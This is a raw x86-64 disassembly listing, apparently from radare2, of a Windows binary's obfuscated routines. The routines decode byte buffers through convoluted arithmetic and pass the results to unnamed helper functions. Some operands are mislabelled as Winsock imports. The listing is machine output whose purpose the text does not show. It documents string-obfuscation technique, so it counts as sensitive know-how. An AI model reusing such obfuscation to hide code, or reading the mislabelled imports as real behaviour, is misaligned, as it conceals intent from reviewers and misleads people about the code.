movzx eax, dl
and al, r10b
jmp 0x14018cc89
lea edx, [r11 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x440]
add rax, r9
add r11, rax
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r11
jmp 0x14018c7c3
lea edx, [r11 - 0x10]
mov ecx, reloc.WS2_32.dll_getservbyport
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d16d
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x58
jmp 0x14018d141
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x20
jmp 0x14018d2f2
lea edx, [r11 - 0x28]
mov ecx, reloc.WS2_32.dll_inet_ntoa
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d2ef
mov ecx, 0x28
movzx ebx, r11b
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d2b9
lea ecx, [r11 - 0x38]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x78
inc r11
jmp 0x14018c7c3
lea ecx, [r11 - 0x40]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x40
inc r11
jmp 0x14018c7c3
movzx ebx, r11b
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 8
jmp 0x14018d24c
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14018ce53
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x1c
jmp 0x14018ccd3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018ce8e
lea edx, [r11 - 0x58]
mov ecx, reloc.WS2_32.dll_gethostbyname
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x440]
add rax, r9
add r11, rax
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r11
jmp 0x14018c7c3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018ceb2
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x78
jmp 0x14018d2ef
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018cedf
lea ecx, [r11 - 0x20]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x20
inc r11
jmp 0x14018c7c3
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14018ccd3
movzx ebx, r11b
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x58
jmp 0x14018d24c
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14018cf36
mov ecx, ntohs
movzx ebx, r11b
lea edx, [rbx - 4]
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d24c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018cf60
lea ecx, [r11 + 0xc]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x54
inc r11
jmp 0x14018c7c3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14018cf8c
mov ecx, 0x3a
movzx ebx, r11b
lea edx, [rbx + 0x14]
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d2b9
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14018cfb5
lea edx, [r11 + 0x1c]
mov ecx, 0x1e
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d2ef
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018cfde
lea edx, [r11 + 0x24]
mov ecx, 2
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d2f2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018d002
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x6c
jmp 0x14018d16d
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14018cc95
lea edx, [r11 + 0x3c]
mov ecx, 0x2e
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x440]
add rax, r9
add r11, rax
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r11
jmp 0x14018c7c3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018d077
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x440]
add rax, r9
add r11, rax
lea r14d, [r10 + rcx]
sub r14b, 0x30
inc r11
jmp 0x14018c7c3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018d08e
lea edx, [r11 + 0x60]
mov ecx, gethostbyaddr
jmp 0x14018d12f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018d0b7
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d2f2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14018cc53
movzx ebx, r11b
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x48
jmp 0x14018d2b9
movzx r14d, byte [rbp + r11 + 0x440]
movzx ebx, r11b
lea edx, [rbx - 0x60]
movzx eax, dl
and al, r10b
add al, al
sub r14b, al
sub r14b, 0x60
add r14b, dl
add r14b, r10b
jmp 0x14018d2b9
lea edx, [r11 - 0x58]
mov ecx, reloc.WS2_32.dll_gethostbyname
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
jmp 0x14018d141
lea edx, [r11 - 0x74]
mov ecx, reloc.WS2_32.dll_shutdown
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
lea edx, [r11 - 0x54]
inc r9
movzx eax, dl
mov ecx, 0x26
and al, r10b
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x440], al
add rax, r9
sub r11, rax
lea edx, [r11 - 0x50]
inc r8
movzx eax, dl
mov ecx, 0x18
and al, r10b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x440], cl
add r11, rax
movzx eax, byte [rbp + r11 + 0x440]
add rax, r9
add r11, rax
inc r11
jmp 0x14018c7c3
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x64
jmp 0x14018d2ef
movzx ebx, r11b
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x2c
jmp 0x14018d2b9
lea edx, [r11 + 0x6c]
mov ecx, 6
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r11
jmp 0x14018c7c3
mov ecx, 0x3e
movzx ebx, r11b
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018d24c
movzx ebx, r11b
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x14
movzx eax, r10b
sub bl, 0x64
and al, bl
inc r9
add al, al
sub r10b, al
sub r10b, 0x44
add r10b, bl
mov byte [rbp + r11 + 0x440], r10b
dec r11
inc r11
jmp 0x14018c7c3
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r9
dec r11
inc r11
jmp 0x14018c7c3
movzx ebx, r11b
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x6c
sub bl, 0x5c
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x7c
add bl, r10b
add bl, r14b
mov byte [rbp + r11 + 0x440], bl
jmp 0x14018d2ef
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x34
add r8, r9
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018c7c3
movabs rcx, 0xc19a605d717e030c
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r14d, [rdx + rcx]
sub r14b, 0x54
movzx eax, byte [rbp + r11 + 0x440]
add rax, r9
add r11, rax
inc r11
jmp 0x14018c7c3
add r11b, 0x14
mov ecx, 0x3a
movzx eax, r11b
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
jmp 0x14018c7c0
add r11b, 0xc
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x54
jmp 0x14018c7b2
lea rbx, [rbp + 0x178b2f0]
jmp 0x14018d397
lea rbx, [rbp + 0x62b3f4]
jmp 0x14018d397
lea rbx, [rbp + 0x440]
lea rcx, [rbp + 0x770]
call fcn.140135f90
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14018d3b0
mov rdx, rbx
lea rcx, [rbp + 0x770]
call fcn.14013c7a0
lea r8, [rbp + 0x710]
mov rcx, rdi
lea rdx, [rbp + 0x770]
call fcn.140151ed0
lea rcx, [rbp + 0x770]
call fcn.1401358f0
mov rax, qword [rbp + 0x8d8]
mov dword [rbp + 0x410], 0xf4facedb
mov dword [rbp + 0x414], 0xf4d2f5cd
mov dword [rbp + 0x418], 0xf5c7c3fd
lea r12, [rax + r12*8]
mov byte [rbp + 0x41c], WSAGetLastError
xor eax, eax
mov dword [rbp + 0x41d], eax
mov word [rbp + 0x421], ax
mov byte [rbp + 0x423], al
mov r9, qword [0x14051e4d0]
mov r10, qword [0x14051e4d8]
nop
xor r11d, r11d
cmp r11, 0x14
jae 0x14018e011
movzx r8d, byte [rbp + r11 + 0x410]
mov rbx, r8
nop dword [rax]
cmp r9, r11
ja 0x14018e008
lea rax, [r10 + 1]
cmp r9, rax
jae 0x14018d493
movabs rsi, 0x55bdb3a4971b9811
add rsi, r11
movzx eax, sil
and al, bl
add al, al
sub sil, al
sub sil, 0x77
add sil, bl
jmp 0x14018d4e0
je 0x14018df91
inc rax
cmp r9, rax
je 0x14018df29
lea rax, [r10 + 3]
cmp r9, rax
je 0x14018deda
lea rax, [r10 + 5]
cmp r9, rax
je 0x14018de80
lea rax, [r10 + 2]
cmp r9, rax
je 0x14018de5e
lea rax, [r10 + 9]
cmp r9, rax
je 0x14018de18
nop dword [rax]
cmp r10, r11
ja 0x14018dfff
lea rax, [r10 + 0x10]
cmp r9, rax
jae 0x14018d50e
lea edx, [r11 + 0x65]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0x3d
add sil, dl
jmp 0x14018d550
lea rax, [r10 + 1]
cmp r9, rax
je 0x14018ddfc
lea rax, [r10 + 3]
cmp r9, rax
je 0x14018ddda
lea rax, [r10 + 5]
cmp r9, rax
je 0x14018ddbe
lea rax, [r10 + 7]
cmp r9, rax
je 0x14018dda2
lea rax, [r10 + 2]
cmp r9, rax
je 0x14018dd86
nop
lea rax, [r10 + r9]
cmp rax, r11
jbe 0x14018dabb
nop dword [rax]
lea rax, [r10 + 6]
cmp r9, rax
je 0x14018da9c
lea rax, [r10 + 9]
cmp r9, rax
je 0x14018da77
lea rax, [r10 + 1]
cmp r9, rax
je 0x14018da52
lea rax, [r10 + 3]
cmp r9, rax
je 0x14018da33
lea rax, [r10 + 5]
cmp r9, rax
je 0x14018da14
lea rax, [r10 + 0x41]
cmp r9, rax
je 0x14018d9f5
lea rax, [r10 + 0x2a]
cmp r9, rax
je 0x14018d9d9
lea rax, [r10 + 2]
cmp r9, rax
je 0x14018d9bd
lea rax, [r10 + 0x1000]
cmp r9, rax
je 0x14018d98c
lea rax, [r10 + 0x7a]
cmp r9, rax
je 0x14018d560
lea r9, [r10 + 6]
lea r10, [r9 + 0x5a]
lea rax, [r10 + 9]
cmp r9, rax
jb 0x14018dfe2
lea rax, [r10 + 0x10]
cmp r9, rax
jb 0x14018dfc5
lea rax, [r10 + 3]
cmp r9, rax
jb 0x14018d740
lea rax, [r10 + 5]
cmp r9, rax
jb 0x14018d721
lea rax, [r10 + 8]
cmp r9, rax
jb 0x14018d702
lea rax, [r10 + 0x2a]
cmp r9, rax
jb 0x14018d93b
lea rax, [r10 + 2]
cmp r9, rax
jb 0x14018d8f1
lea rax, [r10 + 4]
cmp r9, rax
jb 0x14018d8ae
lea rax, [r10 + 0x7a]
cmp r9, rax
jb 0x14018d887
lea rax, [r10 + 0x5a]
cmp r9, rax
jb 0x14018d560
lea r9, [r10 + 9]
lea r10, [r9 + 1]
lea rax, [r10 + 0x10]
cmp r9, rax
ja 0x14018d856
lea rax, [r10 + 0x28]
cmp r9, rax
ja 0x14018d83a
lea rax, [r10 + 5]
cmp r9, rax
ja 0x14018d81e
lea rax, [r10 + 8]
cmp r9, rax
ja 0x14018d802
lea rax, [r10 + 0xa]
cmp r9, rax
ja 0x14018d7e6
lea rax, [r10 + 2]
cmp r9, rax
ja 0x14018d7c6
lea rax, [r10 + 4]
cmp r9, rax
ja 0x14018d7a4
lea rax, [r10 + 6]
cmp r9, rax
ja 0x14018d77f
lea rax, [r10 + 0x5a]
cmp r9, rax
ja 0x14018d75f
lea rax, [r10 + 1]
cmp r9, rax
ja 0x14018d560
lea r9, [r10 + 0x10]
lea r10, [r9 + 3]
jmp 0x14018d560
lea edx, [r11 + 0x3b]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0x63
add sil, dl
jmp 0x14018d550
lea edx, [r11 + 0x19]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0x51
add sil, dl
jmp 0x14018d4e0
lea edx, [r11 - 9]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0x3f
add sil, dl
jmp 0x14018d456
lea edx, [r11 + 0x28]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
movzx ebx, r11b
sub sil, al
sub sil, 0x18
jmp 0x14018de32
lea ecx, [r11 + 6]
movzx eax, r8b
and al, cl
inc r10
add al, al
dec r11
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x2a
inc r11
jmp 0x14018d443
lea ecx, [r11 - 0x1c]
movzx eax, r8b
and al, cl
dec r11
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x3c
inc r11
jmp 0x14018d443
lea edx, [r11 - 0x3e]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
movzx ebx, r11b
sub sil, al
sub sil, 0x4e
jmp 0x14018de9a
lea ecx, [r11 - 0x60]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x60
jmp 0x14018debe
lea ecx, [r11 + 0x7e]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x72
jmp 0x14018dec1
mov ecx, 0x3e
lea edx, [r11 + 0x5c]
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018defc
mov ecx, getservbyname
lea edx, [r11 + 0x3a]
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018df4b
lea edx, [r11 + 0x18]
movzx eax, r8b
and al, dl
mov ecx, 0x2c
sub cl, al
movzx eax, byte [rbp + r11 + 0x410]
add rax, r10
add r11, rax
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
inc r11
jmp 0x14018d443
lea ecx, [r11 - 0x3d]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x55
mov byte [rbp + r11 + 0x410], sil
inc r11
jmp 0x14018d443
lea edx, [r11 - 0x5f]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x67
add sil, dl
cmp r10, 8
jb 0x14018d89e
mov ecx, reloc.WS2_32.dll_inet_addr
movzx ebx, r11b
movzx eax, r8b
lea edx, [rbx - 0x3a]
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea esi, [rcx + rcx]
jmp 0x14018de35
lea edx, [r11 + 0x7f]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x79
add sil, dl
cmp r9, 5
jae 0x14018dd38
lea rax, [r10 + 0x41]
cmp r9, rax
jbe 0x14018dc88
lea edx, [r11 + 0x72]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x1e
jmp 0x14018d8c5
lea edx, [r11 + 0x5d]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0x75
add sil, dl
lea rax, [r10 + r9]
cmp rax, 3
je 0x14018dd62
lea rax, [r10 + 0x61]
cmp r9, rax
jbe 0x14018dbe8
lea edx, [r11 + 0xd]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x5b
jmp 0x14018d908
lea edx, [r11 + 0x5e]
movzx eax, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
movzx eax, byte [rbp + r11 + 0x410]
add rax, r10
add r11, rax
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
inc r11
jmp 0x14018d443
mov ecx, 0x2e
lea edx, [r11 + 0x3c]
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018df4b
mov ecx, 0x25
lea edx, [r11 + 0x1a]
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018defc
lea edx, [r11 - 8]
mov ecx, 0x1c
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x14018dec1
lea edx, [r11 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x14018debe
mov ecx, 0xa
movzx ebx, r11b
movzx eax, r8b
lea edx, [rbx - 0x4c]
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018de9a
lea edx, [r11 - 0x6e]
mov ecx, 1
movzx eax, r8b
dec r11
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
inc r11
jmp 0x14018d443
lea ecx, [r11 + 0x70]
movzx eax, r8b
and al, cl
inc r10
add al, al
dec r11
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x10
inc r11
jmp 0x14018d443
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx + 0x4e]
and al, dl
add al, al
sub sil, al
sub sil, 0x22
jmp 0x14018de32
lea rcx, [r10 + 3]
cmp r9, rcx
jae 0x14018dae0
lea edx, [r11 + 0x11]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x77
jmp 0x14018d952
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14018db1a
lea edx, [r11 - 0x36]
movzx eax, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
movzx eax, byte [rbp + r11 + 0x410]
add rax, r10
add r11, rax
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
inc r11
jmp 0x14018d443
cmp r9, rcx
jne 0x14018db3b
lea edx, [r11 + 0xe]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x62
jmp 0x14018defc
lea rax, [r10 + 5]
cmp r9, rax
jne 0x14018db63
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx + 0x74]
and al, dl
add al, al
sub sil, al
sub sil, 0x2c
jmp 0x14018de9a
lea rax, [r10 + 7]
cmp r9, rax
jne 0x14018db8e
lea ecx, [r11 - 0x6a]
movzx eax, r8b
and al, cl
dec r11
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x1a
inc r11
jmp 0x14018d443
lea rax, [r10 + 2]
cmp r9, rax
jne 0x14018dbbc
lea ecx, [r11 - 0x48]
movzx eax, r8b
and al, cl
inc r10
add al, al
dec r11
sub r8b, al
lea esi, [rcx + r8]
sub sil, 8
inc r11
jmp 0x14018d443
lea rax, [r10 + 8]
cmp r9, rax
jne 0x14018d955
mov ecx, 5
movzx ebx, r11b
movzx eax, r8b
lea edx, [rbx - 0x26]
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018de32
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14018dc10
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx + 0x2f]
and al, dl
add al, al
sub sil, al
sub sil, 0x49
jmp 0x14018de32
lea rax, [r10 + 2]
cmp r9, rax
jne 0x14018dc3b
lea ecx, [r11 + 0x73]
movzx eax, r8b
and al, cl
dec r11
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x25
inc r11
jmp 0x14018d443
lea rax, [r10 + 5]
cmp r9, rax
jne 0x14018dc5f
lea ecx, [r11 - 0x49]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
dec sil
jmp 0x14018debe
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14018d90b
lea edx, [r11 - 5]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0x23
jmp 0x14018defc
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14018dcbf
lea ecx, [r11 - 0x6c]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
movzx eax, byte [rbp + r11 + 0x410]
add rax, r10
add r11, rax
lea esi, [rcx + r8]
sub sil, 0xc
inc r11
jmp 0x14018d443
lea rax, [r10 + 2]
cmp r9, rax
jne 0x14018dce4
mov ecx, reloc.WS2_32.dll_inet_ntoa
lea edx, [r11 - 0x28]
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018defc
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14018dd0c
mov ecx, 0x27
movzx ebx, r11b
movzx eax, r8b
lea edx, [rbx + 0x3e]
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018de9a
lea rax, [r10 + 4]
cmp r9, rax
jne 0x14018d8c8
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx - 0x5c]
and al, dl
add al, al
sub sil, al
sub sil, 0x7c
jmp 0x14018de32
movzx esi, byte [rbp + r11 + 0x410]
movzx ebx, r11b
movzx eax, r8b
lea edx, [rbx - 0x18]
and al, dl
add al, al
sub sil, al
sub sil, 0x58
add sil, dl
add sil, r8b
jmp 0x14018de9d
lea edx, [r11 + 0xa]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, byte [rbp + r11 + 0x410]
sub sil, 0x46
jmp 0x14018defc
lea edx, [r11 + 0x75]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x33
jmp 0x14018df4b
lea edx, [r11 + 0x53]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x45
jmp 0x14018defc
lea ecx, [r11 + 0x31]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x57
jmp 0x14018dec1
lea ecx, [r11 - 0x35]
movzx eax, r8b
and al, cl
dec r11
add al, al
sub r8b, al
lea esi, [rcx + r8]
add sil, 0x73
inc r11
jmp 0x14018d443
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx - 0x79]
and al, dl
add al, al
sub sil, al
add sil, 0x4f
jmp 0x14018de32
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx + 0x43]
and al, dl
add al, al
sub sil, al
add sil, 0x2b
add sil, dl
sub bl, 0x29
movzx eax, bl
and al, r8b
add al, al
sub bl, al
add bl, 0x1f
add bl, r8b
mov byte [rbp + r11 + 0x410], bl
inc r10
dec r11
inc r11
jmp 0x14018d443
lea ecx, [r11 - 1]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
add sil, 7
dec r11
inc r11
jmp 0x14018d443
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx - 0x23]
and al, dl
add al, al
sub sil, al
sub sil, 0xb
add sil, dl
sub bl, 7
movzx ecx, sil
movzx eax, bl
and al, r8b
add al, al
sub cl, al
add cl, 0x31
add cl, bl
add cl, r8b
mov byte [rbp + r11 + 0x410], cl
add r9, r10
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018d443
movabs rdx, 0x582fe98021c12877
movzx esi, bl
add rdx, r11
movzx r8d, bl
movzx eax, dl
and al, bl
add al, al
sub sil, al
sub sil, 0x41
add sil, dl
lea ecx, [r11 + 0x1b]
inc r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x43
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 + 0x410], al
add rax, r10
sub r11, rax
jmp 0x14018df4e
movabs rdx, 0xacb48236f389f855
movzx esi, bl
add rdx, r11
movzx r8d, bl
movzx eax, dl
and al, bl
add al, al
sub sil, al
sub sil, 0x53
add sil, dl
lea ecx, [r11 + 0x2c]
inc r9
movzx eax, cl
and al, r8b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r9
sub cl, 0x34
add cl, r8b
mov byte [rbp + r11 + 0x410], cl
add r11, rax
movzx eax, byte [rbp + r11 + 0x410]
add rax, r10
add r11, rax
inc r11
jmp 0x14018d443
movabs rcx, 0x1391aedc552c833
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea esi, [rbx + rcx]
sub sil, 0x65
movzx eax, byte [rbp + r11 + 0x410]
add rax, r10
add r11, rax
inc r11
jmp 0x14018d443
sub r11b, 0x2b
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
add sil, 0x2d
jmp 0x14018d440
sub r11b, 0x4d
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
add sil, 0x1b
jmp 0x14018d430
lea rbx, [rbp + 0x14a2f7c]
jmp 0x14018e018
lea rbx, [rbp + 0xe5c78d]
jmp 0x14018e018
lea rbx, [rbp + 0x410]
lea rcx, [rbp + 0x790]
call fcn.140135f90
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14018e030
mov rdx, rbx
lea rcx, [rbp + 0x790]
call fcn.14013c7a0
lea r8, [rbp + 0x730]
mov rcx, r12
lea rdx, [rbp + 0x790]
call fcn.140151ed0
lea rcx, [rbp + 0x790]
call fcn.1401358f0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x6f0]
call fcn.14013a6d0
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x6f0]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x6f0]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187bb0]
mov r8, rbx
lea rcx, [rbp + 0x48]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x6f0]
mov r8, qword [rax]
call fcn.1401bf0c0
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x6f0]
call fcn.14013a6d0
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x6f0]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x6f0]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187b90]
mov r8, rbx
lea rcx, [rbp + 0x70]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x6f0]
mov r8, qword [rax]
call fcn.1401bf0c0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x710]
call fcn.14013a6d0
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x710]
mov rdi, qword [rax]
call fcn.14013a6d0
